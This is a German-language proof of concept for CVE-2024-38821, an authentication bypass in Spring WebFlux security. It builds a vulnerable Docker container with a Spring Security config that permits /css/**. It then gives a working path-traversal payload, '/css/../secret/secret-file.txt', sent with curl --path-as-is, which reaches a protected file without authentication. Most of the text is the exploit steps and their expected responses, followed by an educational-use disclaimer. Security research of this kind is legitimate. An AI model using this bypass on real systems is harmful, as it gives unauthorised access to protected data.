
Dies ist ein Proof of Concept für die CVE-2024-38821-Schwachstelle
Docker-Image erstellen (Spring Boot 3.3.4, basierend auf Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38821-poc .
Container ausführen und Port 8080 auf dem Host-System verfügbar machen
docker run -d -p 8080:8080 --name cve-2024-38821-poc cve-2024-38821-poc
Führen Sie den folgenden Befehl aus, um den PoC auszuführen und die Schwachstelle zu bestätigen
curl -v --path-as-is "http://localhost:8080/secret/secret-file.txt" # Erwartet: 302-Antwort (Anmeldung erforderlich)
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt" # Erwartet: 200-Antwort (Authentifizierung umgangen)
Wenn der Angriff erfolgreich ist, zeigt die Antwort Folgendes an: This is a secret file.
Erstellen Sie SecurityConfig.java, um die Zugriffsberechtigungen zu konfigurieren:
public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
return http
.authorizeExchange(exchange -> exchange
.pathMatchers("/css/**", "/").permitAll() // Statische Ressourcen und die Startseite erfordern keine Authentifizierung
.pathMatchers("/secret/**").authenticated() // Für den Pfad "secret" ist eine Authentifizierung erforderlich
.anyExchange().authenticated() // Für alle anderen Pfade ist eine Authentifizierung erforderlich
)
.formLogin().and() // Formularbasierte Authentifizierung aktivieren
.build();
}
Erstellen Sie die folgende Payload. Da die Payload mit /css/ beginnt, entspricht sie dem erlaubten Pfadmuster. Sie beginnt nicht mit /secret/, daher entspricht sie nicht dem Pfadmuster, das eine Authentifizierung erfordert:
/css/../secret/secret-file.txtVerwenden Sie den folgenden curl-Befehl, um den PoC auszuführen und zu überprüfen, ob der Angriff erfolgreich ist:
# Hinweis: Die Option --path-as-is ist erforderlich, um die Anfrage ohne URL-Normalisierung zu senden.
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt"
Dieser PoC dient zu Bildungs- und Sicherheitsforschungszwecken. Bevor Sie dies in einem realen System verwenden, stellen Sie sicher, dass die Schwachstelle behoben wurde und Sie über die entsprechende Genehmigung verfügen. Der Autor übernimmt keine Verantwortung für eine missbräuchliche Verwendung dieses Codes.
Wenn der Angriff erfolgreich ist, zeigt die Antwort Folgendes an: This is a secret file.